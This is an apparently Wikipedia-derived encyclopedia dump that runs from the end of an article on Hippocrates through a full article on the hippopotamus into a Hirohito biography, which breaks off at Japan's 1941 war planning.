          Not all stories of Hippocrates portrayed him in a positive manner. In one legend, Hippocrates is said to have fled after setting fire to a healing temple in Greece. Soranus of Ephesus, the source of this story, names the temple as the one of Knidos. However centuries later, the Byzantine Greek grammarian John Tzetzes, writes that Hippocrates burned down his own temple, the Temple of Cos, speculating that he did it to maintain a monopoly of medical knowledge. This account is very much in conflict with traditional estimations of Hippocrates's personality. Other legends tell of his resurrection of Augustus's nephew; this feat was supposedly created by the erection of a statue of Hippocrates and the establishment of a professorship in his honour in Rome.


          


          Genealogy


          Hippocrates's legendary genealogy traces his paternal heritage directly to Asklepius and his maternal ancestry to Hercules. According to Tzetzess Chiliades, the ahnentafel of Hippocrates II is:
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          1. Hippocrates II. The Father of Medicine

          2. Heraclides

          4. Hippocrates I.

          8. Gnosidicus

          16. Nebrus

          32. Sostratus III.

          64. Theodorus II.

          128. Sostratus, II.

          256. Thedorus

          512. Cleomyttades

          1024. Crisamis

          2048. Dardanus

          4096. Sostatus

          8192. Hippolochus

          16384. Podalirius

          32768. Asklepius


          


          Namesakes


          Some clinical symptoms and signs have been named after Hippocrates as he is believed to be the first person to describe those. Hippocratic face is the change produced in the countenance by death, or long sickness, excessive evacuations, excessive hunger, and the like. Clubbing, a deformity of the fingers and fingernails, is also known as Hippocratic fingers. Hippocratic succussion is the internal splashing noise of hydropneumothorax or pyopneumothorax. Hippocratic bench (a device which uses tension to aid in setting bones) and Hippocratic cap-shaped bandage are two devices named after Hippocrates. Hippocratic Corpus and Hippocratic Oath are also his namesakes. The drink hypocras is also believed to be invented by Hippocrates. Risus sardonicus, a sustained spasming of the face muscles may also be termed the Hippocratic Smile.


          In modern age, a lunar crater has been christened after him  the Hippocrates. Hippocratic Museum, a museum on the Greek island of Kos is dedicated to him. The Hippocrates Project is a program of the New York University Medical Centre to enhance education through use of technology. Project Hippocrates (an acronym of "HIgh PerfOrmance Computing for Robot-AssisTEd Surgery") is an effort of the Carnegie Mellon School of Computer Science and Shadyside Medical Centre, "to develop advanced planning, simulation, and execution technologies for the next generation of computer-assisted surgical robots."
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              	Conservation status
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                  Vulnerable( IUCN 3.1)
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          The hippopotamus (Hippopotamus amphibius), from the Greek ἱό (hippopotamos,  hippos meaning "horse" and ό potamus meaning "river"), often shortened to "hippo", is a large, mostly plant-eating African mammal, one of only two extant species in the family Hippopotamidae (the other being the Pygmy Hippopotamus).


          The hippopotamus is semi-aquatic, inhabiting rivers and lakes in sub-Saharan Africa in groups of 5-30 hippos. During the day they remain cool by staying in the water or mud; reproduction and childbirth both occur in water, where territorial bulls preside over a stretch of river. They emerge at dusk to graze on grass. While hippos rest near each other in territories in the water, grazing is a solitary activity and hippos are not territorial on land.


          Despite their physical resemblance to pigs and other terrestrial even-toed ungulates, their closest living relatives are cetaceans (whales, porpoise, etc.). The common ancestor of whales and hippos split from other even-toed ungulates around . The earliest known hippopotamus fossils, belonging to the genus Kenyapotamus in Africa, date to around .


          The hippopotamus is recognizable for its barrel-shaped torso, enormous mouth and teeth, hairless body, stubby legs and tremendous size. It is similar in size to the White Rhinoceros; only elephants are consistently heavier. Despite its stocky shape and short legs, it can easily outrun a human. Hippos have been clocked at 30mph (48km/h) while running short distances, faster than an Olympic sprinter. The hippopotamus is regarded to be Africa's most dangerous animal, and is among the most aggressive animals in the world. There are an estimated 125,000 to 150,000 hippos remaining throughout Sub-Saharan Africa, of which Zambia (40,000) and Tanzania (20,000-30,000) have the largest populations . They are still threatened by poaching for their meat and ivory canine teeth, and by habitat loss.


          


          Taxonomy and origins


          Hippopotamuses ( plural hippopotami is also used ; hippos can be used as a short plural) are gregarious, living in groups of up to 40 animals; such a group is called a pod, herd, dale, or bloat. A male hippopotamus is known as a bull, a female as a cow, and a baby as a calf. They are also known as the Common Hippopotamus or the Nile Hippopotamus.


          The hippopotamus is the type genus of the family Hippopotamidae. The Pygmy Hippopotamus belongs to a different genus in Hippopotamidae, either Choeropsis or Hexaprotodon. Hippopotamidae are sometimes known as Hippopotamids. Sometimes the sub-family Hippopotaminae is used. Further, some taxonomists group hippopotamuses and anthracotheres in the super-family Anthracotheroidea or Hippopotamoidea.


          Five subspecies of hippos have been described based on morphological differences in their skulls and geographical differences:


          
            	H. a. amphibius  (the nominate subspecies) which stretched from Egypt, where they are now extinct down the Nile River to Tanzania and Mozambique.


            	H. a. kiboko  in the Horn of Africa, in Kenya and Somalia. Kiboko is the Swahili word for hippo. Broader nasals and more hollowed interorbital region.


            	H. a. capensis  from Zambia to South Africa. Most flattened skull of the subspecies.


            	H. a. tschadensis  throughout Western Africa to, as the name suggests, Chad. Slightly shorter and wider face, with prominent orbits.


            	H. a. constrictus  in Angola, the southern Democratic Republic of Congo and Namibia. Named for its deeper preorbital constriction.

          


          The suggested subspecies were never widely used or validated by field biologists; the described morphological differences were small enough that they could have resulted from simple variation in non-representative samples. Genetic analyses have tested the existence of three of these putative subspecies. A study examining mitochondrial DNA from skin biopsies taken from 13 sampling locations, considered genetic diversity and structure among hippo populations across the continent. The authors found low but significant genetic differentiation among H. a. amphibius, H. a. capensis, and H. a. kiboko. Neither H.a.constrictus nor H.a.tschadensis have been tested.


          


          Classification
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          Hippopotamidae are classified along with other even-toed ungulates in the order, Artiodactyla. Other members of Artiodactyla include camels, cows, deer and pigs; although hippopotamuses are not closely related to these species.


          As indicated by the name, ancient Greeks considered the hippopotamus to be related to the horse. Until 1985, naturalists grouped hippos with pigs, based on molar patterns. Evidence, first from blood proteins, then from molecular systematics and DNA and the fossil record, show that their closest living relatives are cetaceanswhales, porpoises and the like. Hippopotamuses have more in common with whales than they do with other Artiodactyls (even-toed ungulates), such as pigs, because the common ancestor of hippos and whales branched-off from ruminants and the rest of the even-toed ungulates. Thus, hippos are more closely related to whales than to other members of Artiodactyla. While cetaceans and hippos are each other's closest living relatives, their lineages split soon after their divergence from the rest of the even-toed ungulates.


          


          Evolution


          The most recent theory into the origins of hippopotamidae suggests that hippos and whales shared a common semi-aquatic ancestor that branched off from other Artiodactyls around . This hypothesized ancestor likely split into two branches around . One branch would evolve into cetaceans, possibly beginning with the proto-whale Pakicetus from and other early whale ancestors, known as Archaeoceti, which eventually underwent aquatic adaptation into the almost completely aquatic cetaceans.
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          The other branch became the anthracotheres, a large family of four-legged beasts, the earliest of whom in the Late Eocene would have resembled skinny hippopotamuses with comparatively small and narrow heads. All branches of the anthracotheres, except that which evolved into Hippopotamidae, became extinct without leaving any descendants.


          A rough evolution can be traced, however, from Eocene and Oligocene species: Anthracotherium and Elomeryx to the Miocene anthracotheres Merycopotamus and Libycosaurus. Merycopotamus, Libycosaurus and all hippopotamids can be considered to form a clade, with Libycosaurus being more closely related to hippos. Their common ancestor would have lived in the Miocene, about . The last species of anthracotheres became extinct during the pliocene.


          Hippopotamids are therefore deeply nested within the family Anthracotheriidae. The oldest known hippopotamid is the genus Kenyapotamus which lived in Africa from 16 to . The Hippopotamidae are believed to have evolved in Africa, and while at one point species spread across Asia and Europe, no hippopotamuses have ever been discovered in the Americas, though, various anthracothere genera emigrated into North America during the early Oligocene. From 7.5 to an ancestor to the modern hippopotamus, the Archaeopotamus lived in Africa and the Middle East.


          While the fossil record of hippos is still poorly understood, the two modern genera, Hippopotamus and Choeropsis (sometimes Hexaprotodon), may have diverged as far back as . Scientists disagree whether or not the modern Pygmy Hippopotamus is a member of Hexaprotodona genus of many Asian Hippopotamuses that is more-closely related to Hippopotamus; or Choeropsisan older and basal genus.


          


          Extinct species
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          As many as three species of Malagasy Hippopotamus became extinct during the Holocene on Madagascar, one of them within the past 1,000 years. The Malagasy Hippos were smaller than the modern hippopotamus, likely through the process of insular dwarfism. There is fossil evidence that many Malagasy Hippos were hunted by humans, a likely factor in their eventual extinction. Isolated members of Malagasy Hippopotamus may have survived in remote pockets; in 1976, villagers described a living animal called the Kilopilopitsofy, which may have been a Malagasy Hippopotamus.


          A separate species of Hippopotamus, the European Hippopotamus (H. antiquus) and H. gorgops ranged throughout continental Europe and the British Isles. Both species became extinct before the last glaciation. Ancestors of European Hippos, found their way to many islands of the Mediterranean, during the Pleistocene.


          These Pleistocene dwarf hippos of the Mediterranean lived on Crete (H. creutzburgi), Cyprus (H. minor), Malta (H. melitensis) and Sicily (H. pentlandi). Of these, the Cyprus Dwarf Hippopotamus, survived until the end of the Pleistocene or early Holocene. Evidence from an archaeological site Aetokremnos, continues to cause debate on whether or not the species encountered, and was driven to extinction, by man.


          


          Description
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          Hippopotamuses are one of the largest extant mammals in the world. They can live in the water, or go on land. Hippos are considered megafauna, but unlike all other African megafauna, hippos have adapted for a semi-aquatic life in freshwater lakes and rivers.


          Because of their enormous size, hippopotamuses are difficult to weigh in the wild. Most estimates of the weight come from culling operations that were carried out in the 1960s. The average weights for adult males ranged between 15001800kg (3,3004,000lbs). Females are smaller than their male counterparts, with average weights measuring between 13001,500kg (2,9003,300lbs). Older males can get much larger, reaching at least 3,200kg (7,100lbs) and occasionally weighing 3636kg (8000 lbs). Male hippos appear to continue growing throughout their lives; females reach a maximum weight at around age 25.


          On the National Geographic Channel television program, "Dangerous Encounters with Brady Barr", Dr. Brady Barr measured the bite of an adult female hippo at 1,821lb (826kg). after abandoning an attempt to measure the bite of an adult male due to its aggressiveness.


          Hippos average 3.5 meters (11ft) long, 1.5 meters (5ft) tall at the shoulder. The range of hippopotamus sizes overlaps with the range of the White Rhinoceros; use of different metrics makes it unclear which is the largest land animal after elephants. Even though they are bulky animals, hippopotamuses can run faster than a human on land. Estimates of their running speed vary from 30km/h (18mph) to 40km/h (25mph), or even 50km/h (30mph). The hippo can maintain these higher speeds for only a few hundred meters.
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          A hippo's lifespan is typically 40 to 50 years. Donna the Hippo, 56, is the oldest living hippo in captivity. She lives at the Mesker Park Zoo in Evansville, Indiana. The oldest hippo ever was called Tanga; she lived in Munich, Germany, and died in 1995 at the age of 61.
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          The eyes, ears, and nostrils of hippos are placed high on the roof of the skull. This allows them to be in the water with most of their body submerged in the waters and mud of tropical rivers to stay cool and prevent sunburn. Their general anatomical structure is an adaptation to their riparian lifestyle. Their skeletal structure is graviportal, adapted to carrying the animals' enormous weight. Hippopotamuses have legs that are small, relative to other megafauna, because the water in which they live reduces the weight burden. Like other aquatic mammals, the hippopotamus has very little hair.
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          For additional protection from the sun, their skin secretes a natural sunscreen substance which is red-colored. The secretion is sometimes referred to as "blood sweat," but is neither blood nor sweat. This secretion is initially colorless and turns red-orange within minutes, eventually becoming brown. Two distinct pigments have been identified in the secretions, one red and one orange. The two pigments are highly acidic compounds. They are known as red pigment hipposudoric acid and orange pigment norhipposudoric acid. The red pigment was found to inhibit the growth of disease-causing bacteria, lending credence to the theory that the secretion has an antibiotic effect. The light absorption of both pigments peaks in the ultraviolet range, creating a sunscreen effect. All hippos, even those with different diets secrete the pigments, so it does not appear that food is the source of the pigments. Instead, the animals may synthesize the pigments from precursors such as the amino acid tyrosine.


          


          Distribution


          Hippopotamus amphibius was widespread in North Africa and Europe before the last glaciation event, and it can live in colder climates provided the water does not freeze during winter. The species was common in Egypt's Nile region until historic times but has since been extirpated. Pliny the Elder writes that, in his time, the best location in Egypt for capturing this animal was in the Saite nome; the animal could still be found along the Damietta branch after the Arab Conquest in 639. Hippos are still found in the rivers and lakes of Uganda, Sudan, Somalia, Kenya, northern Democratic Republic of the Congo and Ethiopia, west through Ghana to Gambia, and also in Southern Africa (Botswana, Republic of South Africa, Zimbabwe, Zambia). A separate population exists in Tanzania and Mozambique.


          


          Conservation status
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          Evidence through genetic analysis suggests that common hippos in Africa experienced a marked population expansion during or after the Pleistocene Epoch, attributed to an increase in water bodies at the end of the era. These findings have important conservation implications as Hippo populations across the continent are currently threatened by loss of access to fresh water. Hippos are also subject to unregulated or illegal poaching. In addition to addressing these common threats, the genetic diversity of hippos would need to be preserved to ensure the safety of the species. In May 2006 the hippopotamus was identified as a vulnerable species on the IUCN Red List drawn up by the World Conservation Union (IUCN), with an estimated population of between 125,000 and 150,000 hippos, a decline of between 7 percent and 20 percent since the IUCN's 1996 study.


          The hippo population declined most dramatically in the Democratic Republic of the Congo. The population in Virunga National Park had dropped to 800 or 900 individuals from around 29,000 in the mid 1970s, raising concerns about the viability of that population. The decline is attributed to the disruptions caused by the Second Congo War. Poachers are believed to be former Hutu rebels, poorly paid Congolese soldiers, and local militia groups. Reasons for poaching include the belief that hippos are unintelligent, that they are a harm to society, and also for money. The sale of hippo meat is illegal, but black-market sales are difficult for WWF officers to track.


          


          Invasive potential


          In Colombia, Pablo Escobar maintained four hippos in a private menagerie at his residence in Hacienda Napoles, 100 km east of Medelln, after purchasing them in New Orleans. They were deemed too difficult to seize and move after the fall of Escobar, and hence left on the untended estate. By 2007, the animals had multiplied to 16 individuals and taken to roaming the area for food. Considered too difficult to move by local authorities, their fate remains uncertain as their presence is impeding development of the site.


          


          Behaviour
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          Hippos spend most of their days wallowing in the water or the mud, with the other members of their pod. The water serves to keep their body temperature cool, and to keep their skin from drying out. With the exception of eating, most of hippopotamuses' livesfrom childbirth, fighting with other hippos, and reproductionoccur in the water.


          Hippos leave the water at dusk and travel inland, sometimes up to 8 kilometers (5 mi), to graze on short grass, their main source of food. They spend four to five hours grazing and can consume 68 kilograms (150 lb) of grass each night. Like almost any herbivore, they will consume many other plants if presented with them, but their diet in nature consists almost entirely of grass, with only minimal consumption of aquatic plants. Hippos have (rarely) been filmed eating carrion, usually close to the water. There are other reports of meat-eating, and even cannibalism and predation. The stomach anatomy of a hippo is not suited to carnivory, and meat-eating is likely caused by aberrant behaviour or nutritional stress.


          The diet of hippos consists mostly of terrestrial grasses, but they spend most of their time in the water. Most of their defecation occurs in the water, creating allochthonous deposits of organic matter along the river beds. These deposits have an unclear ecological function. Because of their size and their habit of taking the same paths to feed, hippos can have a significant impact on the land they walk across, both by keeping the land clear of vegetation and depressing the ground. Over prolonged periods hippos can divert the paths of swamps and channels.
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          Interestingly, adult hippos can't actually swim and are not generally buoyant. When in deep water, they usually propel themselves by leaps, pushing off from the bottom. They move at speeds up to 8km/h (5 mph) in water. However, young hippos are buoyant and more often move by swimmingpropelling themselves with kicks of their back legs. Adult hippos typically resurface to breathe every 46 minutes. The young have to breathe every two to three minutes. The process of surfacing and breathing is automatic, and even a hippo sleeping underwater will rise and breathe without waking. A hippo closes its nostrils when it submerges.


          


          Social life


          Studying the interaction of male and female hippopotamuses has long been complicated by the fact that hippos are not sexually dimorphic and thus females and young males are almost indistinguishable in the field. Although hippos like to lie in close proximity to each other, they do not seem to form social bonds except between mothers and daughters, and are not social animals. The reason they huddle in close proximity is unknown.
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          Hippopotamuses are territorial only in water, where a bull presides over a small stretch of river, on average 250 meters in length, and containing ten females. The largest pods can contain up to 100 hippos. Other bachelors are allowed in a bull's stretch, as long as they behave submissively toward the bull. The territories of hippos exist to establish mating rights. Within the pods, the hippos tend to segregate by gender. Bachelors will lounge near other bachelors, females with other females, and the bull on his own. When hippos emerge from the water to graze, they do so individually.


          Hippopotamuses appear to communicate verbally, through grunts and bellows, and it is thought that they may practice echolocation, but the purpose of these vocalizations is currently unknown. Hippos have the unique ability to hold their head partially above the water and send out a cry that travels through both water and air; hippos above and under water will respond.


          


          Reproduction


          Female hippos reach sexual maturity at 5 to 6 years of age and have a gestation period of 8 months. A study of endocrine systems revealed that female hippopotamuses may begin puberty as early as 3 or 4 years of age. Males reach maturity at around 7.5 years.


          A study of hippopotamus reproductive behaviour in Uganda showed that peak conceptions occurred during the end of the wet season in the summer, and peak births occurred toward the beginning of the wet season in late winter. This is because of the female's oestrous cycle; as with most large mammals, male hippopotamus spermatozoa is active year round. Studies of hippos in Zambia and South Africa also showed evidence of births occurring at the start of the wet season. After becoming pregnant, a female hippopotamus will typically not begin ovulation again for 17 months.
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          Mating occurs in the water with the female submerged for most of the encounter, her head emerging periodically to draw breath. Hippos are one of the few mammals that give birth under water, along with Cetaceans and Sirenians ( manatees and dugongs). Baby hippos are born underwater at a weight between 25 and 45kg (60110 lb) and an average length of around 127 cm (50 in) and must swim to the surface to take their first breath. A mother typically gives birth to only one hippo, although twins occur at an unknown ratio. The young often rest on their mothers' backs when in water that is too deep for them, and they swim underwater to suckle. They also will suckle on land when the mother leaves the water. Weaning starts between six and eight months after birth and most calves are fully weaned after a year.


          Hippos are considered K-strategists, meaning that they favour quality over quantity in their reproduction. K-selection is the norm for large animals that produce few young at each birth.


          


          Aggression


          Hippopotami are very violent tempered animals. Adult hippos are hostile toward crocodiles, which often live in the same pools and rivers as hippos. This is especially so when hippo calves are around. Hippos have been known to be very aggressive towards humans, and it is often claimed that hippos are the deadliest animal in Africa; however, according to Smithsonian Magazine, while the animal is very dangerous, reliable statistics for this are unavailable.


          To mark territory, hippos spin their tails while defecating to distribute their excrement over the greatest possible area. Hippos also urinate backwards (are retromingent), likely for the same reason.


          Hippos rarely kill each other, even in territorial challenges. Usually a territorial bull and a challenging bachelor will stop fighting when it is clear that one hippo is stronger. When hippos become overpopulated, or when a habitat starts to shrink, bulls will sometimes attempt to kill infants; sometimes female hippos will kill the bulls to protect their infants, but neither behaviour is common under normal conditions.


          


          Hippos and humans
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          The earliest evidence of human interaction with hippos comes from rock paintings and engravings in the mountains of the central Sahara. One such drawing, dated 4,0005,000 years ago near Djanet in the Tassili n'Ajjer Mountains, shows hippos being hunted. Hippos were also well-known to the ancient Egyptians, where the hippo was recognized as a ferocious denizen of the Nile. In Egyptian mythology, the hippopotamus-headed Tawaret, was a goddess of protection in pregnancy and childbirth, because ancient Egyptians recognized the protective nature of a female hippopotamus toward her young.


          The hippopotamus has been known to historians since Classical antiquity. The Greek historian Herodotus described the hippopotamus in The Histories (written circa 440 BC) and the Roman Historian Pliny the Elder wrote about the hippopotamus in his encyclopedia Naturalis Historia (written circa 77 AD).


          


          Hippos in zoos


          Hippopotamuses have long been popular zoo animals. The first zoo hippo in modern history was Obaysch who arrived at the London Zoo on May 25, 1850, where he attracted up to 10,000 visitors a day and inspired a popular song, the Hippopotamus Polka. Hippos have remained popular zoo animals since Obaysch, and generally breed well in captivity. Their birth rates are lower than in the wild, but this is attributed to zoos not wanting to breed as many hippos as possible, since hippos are large and relatively expensive animals to maintain.


          Most hippos in zoos were born in captivity. There are enough hippos in the international zoo system, that introducing further animals from the wild will be unnecessary if zoos cooperate to maintain the genetic diversity of the breeding stock.


          Like many zoo animals, hippos were traditionally displayed in concrete exhibits. In the case of hippos, they usually had a pool of water and patch of grass. In the 1980s, zoo designers increasingly designed exhibits that reflected the animals' native habitats. The best known of these, the Toledo Zoo Hippoquarium, features a 360,000 gallon pool for hippos. In 1987, researchers were able to tape, for the first time, an underwater birth (as in the wild) at the Toledo Zoo. The exhibit was so popular that the hippos became the logo of the Toledo Zoo.


          


          Cultural depictions


          The Hippopotami was known to the Greeks and Romans as the Beast of the Nile. A red hippo also represented the Ancient Egyptian god Set; the thigh is the 'phallic leg of set' symbolic of virility. Set's consort Tawaret was also seen as part hippo. The Behemoth from the Book of Job, 40:15-24 is also thought to be based on a hippo.


          Ever since Obaysch inspired the Hippopotamus Polka, hippos have been popular animals in western culture for their rotund appearance that many consider comical. Stories of hippos like Huberta who became a celebrity in South Africa in the 1930s for trekking across the country; or the tale of Owen and Mzee, a hippo and tortoise who developed an intimate bond; have amused people who have bought hippo books, merchandise, and many a stuffed hippo toy. Hippos were mentioned in the novelty Christmas song " I Want a Hippopotamus for Christmas" that became a hit for child star Gayla Peevey in 1953. They even inspired a popular board game, Hungry Hungry Hippos.


          "The Hippopotamus Song" (aka "Mud, Mud, Glorious Mud!") by Flanders and Swann is noted for its often-strained rhymes for "hippopotamus" ("gazed at the bottom as..."; "The hippopot-A-mus was no ignoramus..."), "hippopotami" ("I wonder, now, what am I..."; "A regular army of hippopot-ah-mi...) and even the implied feminine "hippopotama" ("...as she hadn't got a Ma...").


          Hippos have been popular cartoon characters, where their roly-poly frame is used for humorous effect. In the Disney film Fantasia featured a ballerina hippopotamus dancing to the opera, La Gioconda. Other cartoon hippos have included Hanna-Barbera's Peter Potamus, the book and TV series George and Martha, and Flavio and Marita on the Animaniacs. The hippopotamus characters "Happy Hippos" have been created 1988 by the french designer Andre Roche based in Munich, to be hidden in the "Kinder Surprise egg" of the Italian chocolate company Ferrero SpA. These characters were not placid like real hippos but rather cute and lively, and had such a success that they reappeared several times in different products of this company in the following years, increasing their popularity worldwide each time. The Nintendo company published in the years 2001 and 2007 Game Boys adventures of them.


          In the game of chess, the hippopotamus lends its name to the Hippopotamus Defence, a solid if unadventurous opening system.


          
            Retrieved from " http://en.wikipedia.org/wiki/Hippopotamus"
          


          

        

      

    


    


    
      This article (see wikipedia.org for authors and sources) is made available under the GNUFreeDocumentationLicense.
    

  


  
    
      
        

        Hirohito


        
          

          
            
              	Emperor Shōwa
            


            
              	124th Emperor of Japan
            


            
              	[image: ]
            


            
              	Reign

              	25 December 1926  7 January 1989
            


            
              	Coronation

              	25 December 1926
            


            
              	Born

              	29 April 1901
            


            
              	Birthplace

              	Aoyama Palace, Tokyo, Japan
            


            
              	Died

              	January 7, 1989 (aged87)
            


            
              	Place of death

              	Fukiage Palace, Tokyo
            


            
              	Predecessor

              	Emperor Taishō
            


            
              	Successor

              	Emperor Akihito
            


            
              	Consort

              	Empress Kōjun
            


            
              	Offspring

              	Shigeko, Princess Teru

              Sachiko, Princess Hisa

              Kazuko, Princess Taka

              Atsuko, Princess Yori

              Akihito, Prince Tsugu

              (The Crown Prince)

              Masahito, Prince Yoshi

              (The Prince Hitachi)

              Takako, Princess Suga
            


            
              	Royal House

              	Imperial House of Japan
            


            
              	Father

              	Emperor Taishō
            


            
              	Mother

              	Empress Teimei
            

          


          The Shōwa Emperor (昭和天皇, Shōwa tennō ?) ( April 29, 1901  January 7, 1989) was the 124th Emperor of Japan according to the traditional order reigning from December 25, 1926, until his death in 1989.


          Among non-Japan specialists, the Emperor Shōwa is best known by his personal name Hirohito. The word Shōwa is the name of the era that corresponded with the Emperor's reign, and was made the Emperor's own name posthumously, the name by which he is now exclusively referred to in Japan, even in non-Japanese language texts. Although he often was and continues to be known as Hirohito (裕仁, Hirohito ?), in Japan an emperor's personal name is never used.


          The Shōwa era was the longest reign of any historical Japanese emperor, encompassing a period of tremendous change in Japanese society. At the start of his reign, Japan was still a fairly rural country with a limited industrial base. Japan's militarization in the 1930s eventually led to Japan's involvement in World War II. After the war ended with the unconditional surrender of Japan, the Emperor co-operated with the re-organization of the Japanese state during the Occupation of Japan, and lived to see Japan becoming a highly urbanized democracy and one of the industrial and technological powerhouses of the world.


          


          Early life


          Born in the Aoyama Detached Palace in Tokyo, Prince Hirohito was the first son of Crown Prince Yoshihito (the future Emperor Taishō) and Crown Princess Sadako (the future Empress Teimei). His childhood title was Prince Michi (迪宮, Michi no miya ?). He became heir apparent upon the death of his grandfather, Emperor Meiji, on July 30, 1912. His formal investiture as crown prince took place on November 2, 1916.


          Prince Hirohito attended the boy's department of Gakushuin Peers' School from 1908 to 1914 and then a special institute for the crown prince (Tōgū-gogakumonsho) from 1914 to 1921. In 1921, Prince Hirohito took a six month tour of Europe, including the United Kingdom, France, Italy, the Netherlands and Belgium, becoming the first Japanese crown prince to travel abroad. After his return to Japan, he became regent of Japan on November 29, 1921, in place of his ailing father affected with a mental illness.


          During Prince Hirohito's regency, a number of important events occurred:


          In the Four-Power Treaty on Insular Possessions signed on December 13, 1921, Japan, the United States, Britain and France agreed to recognize the status quo in the Pacific, and Japan and Britain agreed to terminate formally the Anglo-Japanese Alliance. The Washington Naval Treaty was signed on February 6, 1922. Japan completed withdrawal of troops from the Siberian Intervention on August 28, 1922. The Great Kantō earthquake devastated Tokyo on September 1, 1923. The General Election Law was passed on May 5, 1925, giving all men above age 25 the right to vote.


          


          Marriage and issue
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          Prince Hirohito married his distant cousin Princess Nagako Kuni (the future Empress Kōjun), the eldest daughter of Prince Kuni Kuniyoshi, on January 26, 1924. They had two sons and five daughters:


          
            	Princess Shigeko, childhood appellation Teru no miya (照宮成子, teru no miya Shigeko ?), 9 December 1925 23 July 1961; m. October 10, 1943 Prince Higashikuni Morihiro ( May 6, 1916  February 1, 1969), the eldest son of Prince Higashikuni Naruhiko and his wife, Princess Toshiko, the eighth daughter of Emperor Meiji; lost status as imperial family members, October 14, 1947;


            	Princess Sachiko, childhood appellation Hisa no miya (久宮祐子, hisa no miya Sachiko ?), 10 September 1927 8 March 1928;


            	Princess Kazuko, childhood appellation Taka no miya (孝宮和子, taka no miya Kazuko ?), 30 September 1929 28 May 1989; m. May 5, 1950 Takatsukasa Toshimichi ( August 26, 1923  January 27, 1966), eldest son of Nobusuke [peer]; and adopted a son Naotake.


            	Princess Atsuko, childhood appellation Yori no miya (順宮厚子, yori no miya Atsuko ?), b. 7 March 1931; m. October 10, 1952 Ikeda Takamasa (b. October 21, 1927), eldest son of former Marquis Nobumasa Ikeda;


            	Crown Prince Akihito, childhood appellation Tsugu no miya (継宮明仁, tsugu no miya Akihito ?) became the present Emperor of Japan, b. 23 December 1933; m. April 10, 1959 Shōda Michiko (the present Empress of Japan, b. October 20, 1934), elder daughter of Shōda Hidesaburo, former president and chairman of Nisshin Flour Milling Company;


            	Prince Masahito, childhood appellation Yoshi no miya (義宮正仁, yoshi no miya Masahito ?), b. 28 November 1935, titled Prince Hitachi (常陸宮, hitachi no miya ?) since 1 October 1964; m. September 30, 1964 Tsugaru Hanako (b. July 19, 1940), fourth daughter of former Count Tsugaru Yoshitaka;


            	Princess Takako, childhood appellation Suga no miya (清宮貴子, suga no miya Takako ?), b. 3 March 1939; m. March 3, 1960 Shimazu Hisanaga, son of former Count Shimazu Hisanori and has a son Yoshihisa.

          


          The daughters who lived to adulthood left the imperial family as a result of the American reforms of the Japanese imperial household in October 1947 (in the case of Princess Higashikuni) or under the terms of the Imperial Household Law at the moment of their subsequent marriages (in the cases of Princesses Kazuko, Atsuko, and Takako).


          


          Accession


          On December 25, 1926, Hirohito assumed the throne upon the death of his father Yoshihito. The Taishō era ceased at once and a new era, the Shōwa era (Enlightened Peace), was proclaimed. The deceased Emperor was posthumously renamed Emperor Taishō a few days later. Following Japanese custom, the new Emperor was never referred to by his given name, but rather was referred to simply as "His Majesty the Emperor" (天皇陛下, tennō heika ?), which may be shortened to "His Majesty" (陛下, heika ?). In writing, the emperor was also referred to formally as "The Reigning Emperor" (今上天皇, kinjō tennō ?).


          


          Early reign
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          The first part of Hirohito's reign as sovereign (between 1926 and 1945) took place against a background of increasing military power within the government, through both legal and extralegal means. The Imperial Japanese Army and Imperial Japanese Navy had held veto power over the formation of cabinets since 1900, and between 1921 and 1944 there were no fewer than 64 incidents of political violence.


          Hirohito narrowly missed assassination by a hand grenade thrown by a Korean nationalist in Tokyo on 9 January 1932 in the Sakuradamon Incident.


          Another notable case was the assassination of moderate Prime Minister Inukai Tsuyoshi in 1932, which marked the end of civilian control of the military. This was followed by an attempted military coup in February 1936, the February 26 incident, mounted by junior Army officers of the Kōdōha faction who had the sympathy of many high-ranking officers including Prince Chichibu (Yasuhito), one of the Emperor's brothers. This revolt was occasioned by a loss of ground by the militarist faction in Diet elections. The coup resulted in the murder of a number of high government and Army officials.


          When Chief Aide-de-camp Shigeru Honjō informed him of the revolt, the Emperor immediately ordered that it be put down and referred to the officers as "rebels" (bōto). Shortly thereafter, he ordered Army Minister Yoshiyuki Kawashima to suppress the rebellion within the hour, and he asked reports from Honjō every thirty minutes. The next day, when told by Honjō that little progress was being made by the high command in quashing the rebels, the emperor told him "I Myself, will lead the Konoe Division and subdue them." The rebellion was suppressed following his orders on February 29.


          


          The Sino-Japanese War and World War II
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          Entering World War II


          Prior to World War II, Japan invaded Manchuria in 1931 and the rest of China in 1937 (the Second Sino-Japanese War). The primary sources reveal that Emperor Shōwa never really had any objection to the invasion of China in 1937, which was recommended to him by his chiefs of staff and prime minister Fumimaro Konoe. His main concern seems to have been the possibility of an attack by the Soviets in the north. His questions to his chief of staff, Prince Kan'in, and minister of the army, Hajime Sugiyama, were mostly about the time it could take to crush the Chinese resistance.


          According to Akira Fujiwara, the Emperor personally ratified the proposal by the Japanese Army to remove the constraints of international law on the treatment of Chinese prisoners on August 5. Moreover, the works of Yoshiaki Yoshimi and Seiya Matsuno show that the Emperor authorized, by specific orders (rinsanmei), the use of chemical weapons against the Chinese. During the invasion of Wuhan, from August to October 1938, the emperor authorized the use of toxic gas on 375 separate occasions, despite the resolution adopted by the League of Nations on May 14 condemning the use of toxic gas by the Japanese Army.


          During World War II, ostensibly under Emperor Shōwa's leadership, Japan formed alliances with Nazi Germany and Fascist Italy, forming the Axis Powers. Some historians believe the Emperor, who had a predilection for the United Kingdom, might have been reluctant to form this alliance. In July 1939, the Emperor quarreled with one of his brothers, Prince Chichibu, who was visiting him three times a week to support the treaty, and reprimanded the army minister Seishiro Itagaki, but then consented to the alliance after the success of the Wehrmacht in Europe.


          On September 4, 1941, the Japanese Cabinet met to consider war plans prepared by Imperial General Headquarters, and decided that:


          
            
              	

              	Our Empire, for the purpose of self-defense and self-preservation, will complete preparations for war ... [and is] ... resolved to go to war with the United States, Great Britain and the Netherlands if necessary. Our Empire will concurrently take all possible diplomatic measures vis--vis the United States and Great Britain, and thereby endeavor to obtain our objectives ... In the event that there is no prospect of our demands being met by the first ten days of October through the diplomatic negotiations mentioned above, we will immediately decide to commence hostilities against the United States, Britain and the Netherlands.

              	
            

          


          The "objectives" to be obtained were clearly defined: a free hand to continue with the conquest of China and Southeast Asia, no increase in US or British military forces in the region, and cooperation by the West "in the acquisition of goods needed by our Empire."


